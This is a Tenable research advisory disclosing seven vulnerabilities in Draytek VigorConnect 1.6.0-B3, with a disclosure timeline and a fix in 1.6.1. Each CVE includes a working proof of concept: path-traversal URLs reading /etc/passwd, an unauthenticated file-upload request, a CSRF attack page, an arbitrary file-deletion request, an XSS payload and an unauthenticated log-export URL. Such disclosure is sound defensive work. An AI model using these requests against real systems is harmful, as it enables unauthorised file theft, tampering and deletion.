tenable

Multiple Vulnerabilities in Draytek VigorConnect 1.60.0-B3

Critical

← View More Research Advisories

Synopsis

CVE-2021-20123 - Unauthenticated Local File Inclusion - DownloadFileServlet

CVSSv3 Base Score: 7.5
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: 22

A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.

Proof of concept

Making a GET request to the following urls will download /etc/passwd or win.ini from the target system (depending on whether the target system is windows or linux).
Linux:

```
https://<ip-of-VigorConnect>:4433/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything
```

Windows:

```
https://<ip-of-VigorConnect>:4433/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything
```

CVE-2021-20124 - Unauthenticated Local File Inclusion - WebServlet

CVSSv3 Base Score: 7.5
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: 22

A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.

Proof of concept

Making a GET request to the following urls will download /etc/passwd or win.ini from the target system (depending on whether the target system is windows or linux).
Linux:

```
https://<ip-of-VigorConnect>:4433/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd
```

Windows:

```
https://<ip-of-VigorConnect>:4433/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini
```

CVE-2021-20125 - Unauthenticated File Upload / Directory Traversal

CVSSv3 Base Score: 9.8
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: 434

An arbitrary file upload and directory traversal vulnerability exists in the file upload functionality of DownloadFileServlet in Draytek VigorConnect 1.6.0-B3. An unauthenticated attacker could leverage this vulnerability to upload files to any location on the target operating system with root privileges.

Proof of concept

The below POST request will upload a HTML file containing some sample Javascript to the web root directory of the VigorConnect application.
Request:

```
POST /ACSServer/DownloadFileServlet?flag=uploadFile&file=%5Bobject%20File%5D&path=./RootGroup/../../../Web&userId=undefined&username=root HTTP/2
Host: <ip-of-VigorConnect>:4433
Content-Type: multipart/form-data; boundary=--------------------------722007981409746511529402294 6
Content-Length: 377

----------------------------722007981409746511529402294 6
Content-Disposition: form-data; name="Filename"

anything
----------------------------722007981409746511529402294 6
Content-Disposition: form-data; name="Filedata"; filename="test.html"
Content-Type: text/html

<script>alert('Stored XSS')</script>
----------------------------722007981409746511529402294 6--
```

Navigating to https://<ip-of-VigorConnect>:443/web/test.html will trigger the stored XSS vulnerability from the example.

CVE-2021-20126 - Cross-site request forgery

intentionally provided by the user who submitted the request.
An attacker could exploit this issue by creating a dummy page that would execute Javascript in an authenticated user's session if they were tricked into using the malicious dummy page.

Proof of concept

The below HTML and Javascript can be used to stage a dummy example site. If a user browses to the dummy site and submits the form, a malicious request will be sent on behalf of the user that will upload a dummy malicious file to the VigorConnect server.

Below is an example dummy site for demonstration purposes. Note that to test this you will need to change the IP address in the HTML page to that of your VigorConnect install.
CSRF Proof-of-concept page

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/<ip-of-VigorConnect>:4433\/ACSServer\/DownloadFileServlet?flag=uploadFile&file=%5Bobject%20File%5D&path=.%2FRootGroup&userId=undefined&userna
        xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------342402962866347203712419533 95");
        xhr.withCredentials = true;
        var body = "-----------------------------342402962866347203712419533 95\r\n" +
          "Content-Disposition: form-data; name=\"Filename\"\r\n" +
          "\r\n" +
          "index.html\r\n" +
          "-----------------------------342402962866347203712419533 95\r\n" +
          "Content-Disposition: form-data; name=\"Filedata\"; filename=\"index.html\"\r\n" +
          "Content-Type: text/html\r\n" +
          "\r\n" +
          "\x3cscript\x3ealert(\'Stored XSS\')\x3c/script\x3e\n" +
          "\r\n" +
          "-----------------------------342402962866347203712419533 95--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>
```

CVE-2021-20127 - Authenticated Arbitrary File Deletion

CVSSv3 Base Score: 8.1
CVSSv3 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE: 284

An arbitrary file deletion vulnerability exists in the file delete functionality of the Html5Servlet endpoint of Draytek VigorConnect 1.6.0-B3. This allows an authenticated user to arbitrarily delete files in any location on the target operating system with root privileges.

The complexity of exploiting this vulnerability is increased slightly since this request to the Html5Servlet endpoint is base64 encoded and encrypted. However, since the requests are encrypted in the browser using functions from encrypt.js, they can easily be decrypted, manipulated and re-encrypted on the fly.

For instance, using the javascript console in a browser's developer tools to call isBuildVersion.encrypt() and isBuildVersion.decrypt() allows a user to encrypt and decrypt any payloads necessary.

Proof of concept

This PoC assumes VigorConnect is running on Linux and that the user is authenticated (and using a valid DrTekAcsLiteHtml cookie).
To validate the existence of this vulnerability you will first need to create a file in /tmp called test.txt (or a similar file on windows).
Next you can send the below POST request which will delete a file in /tmp called test.txt.
Example Request:

```
POST /ACSServer/Html5Servlet HTTP/2
Host: <VigorConnectIP>:4433
Cookie: DrayTekAcsLiteHtml=e641ab176731fffbb077151f0b68c039
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Token: 7f72fabe-3a38-43f5-a436-ebccc1356244
Content-Type: application/json;charset=utf-8
Content-Length: 384
Origin: https://<VigorConnectIP>:4433
Referer: https://<VigorConnectIP>:4433/web/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
```

The payload in the example above, when unencrypted, looks as follows:

```
{\"act\":\"ProvisionGeneralUploadFile\",
  \"files\":[{\"deleteAction\":1,
    \"directory\":\"./RootGroup\",
    \"fileName\":\"../../../../../../../../tmp/test.txt\",
    \"file_id\":0,\"lastModified\":\"2021/08/23 14:13:18\",
    \"property\":\"html file\",
    \"size\":\"37 B\",
    \"uniqueId\":1629724398}],
  \"del_type\":\"0\",
  \"actionType\":3}
```

Now if you check for /tmp/test.txt you should find that it has been removed.

CVE-2021-20128 - Stored Cross-Site Scripting (XSS)

CVSSv3 Base Score: 3.5
CVSSv3 Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
CWE: 79

The Profile Name field in the floor plan (Network Menu) page in Draytek VigorConnect 1.6.0-B3 was found to be vulnerable to stored XSS, as user input is not properly sanitized.

Proof of concept

We trigger the alert by setting the Profile name field to:
"><script>alert('XSS')</script>

```
POST /ACSServer/Html5Servlet HTTP/1.1
Host: <VigorConnectIP>:9292
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
token: 25735865-f9f7-49a5-b5af-82e723cd9c22
Content-Type: application/json;charset=utf-8
Content-Length: 216
Origin: http://<VigorConnectIP>:9292
Connection: close
Referer: http://<VigorConnectIP>:9292/web/
Cookie: DrayTekAcsLiteHtml=7481d918c334477c4e39f5bd9e35273f
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache

48QfQSGRHoSvJszWg2CULeSY3OvLUif/4BrLYh04z79VDcVh8rXPvCsdZhrUxURwt/QV14fSxd/e+iZebPhvi47ftONYx86OAMn23NwEJ8IiriFSU1/BXVIiiZNigGVA5vBoDvAqUysCLWsSEW71epN80wfpUMxqIANCWbWcBULD02Ccb
```

Note that you will need to add an authenticated DrayTekAcsLiteHtml cookie and add the IP address of your target VigorConnect install.

The above request payload decrypted:

```
"{\"act\":\"NetworkAPMap\",
  \"profileid\":0,
  \"profilename\":\"\\\"><script>alert('XSS')</script>\",
  \"networkid\":\"2\",
  \"imgsrc\":\"202108231623393939.png\",
  \"actionType\":2}"
```

CVE-2021-20129 - Information Disclosure: Unauthenticated access to potentially sensitive logs

CVSSv3 Base Score: 5.3
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE: 200

An information disclosure vulnerability exists in Draytek VigorConnect 1.6.0-B3, allowing an unauthenticated attacker to export system logs.
An attacker could leverage sensitive information found in these logs to learn about the target device which they could use to launch further attacks.

Proof of concept:

Logs can be downloaded unauthenticated with the following request:
https://<ip-of-VigorConnect>:4433/ACSServer/ExportServlet?type=SystemLog
You can change the type to download other types of logs, for example you can change the type from SystemLog to ActionLog and that will download the action logs

Solution

Draytek has released fixes for these issues in VigorConnect 1.6.1

Additional References

https://www.draytek.com/products/vigorconnect/

31 August 2021 - Tenable reports vulnerabilities
31 August 2021 - Draytek informs Tenable that they are working to address issues.
8 October 2021 - Draytek informs Tenable that the vulnerabilities have been fixed in VigorConnect 1.6.1
8 October 2021 - Advisory published

Risk Information

CVE ID: CVE-2021-20123
CVE-2021-20124
CVE-2021-20125
CVE-2021-20126
CVE-2021-20127
CVE-2021-20128
CVE-2021-20129
Tenable Advisory ID: TRA-2021-42
Credit: Derrie Sutton

Giulio Lyons

Affected Products: Draytek VigorConnect 1.6.0-B3
Risk Factor: Critical

Advisory Timeline

12 October 2021 - Advisory Released

Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media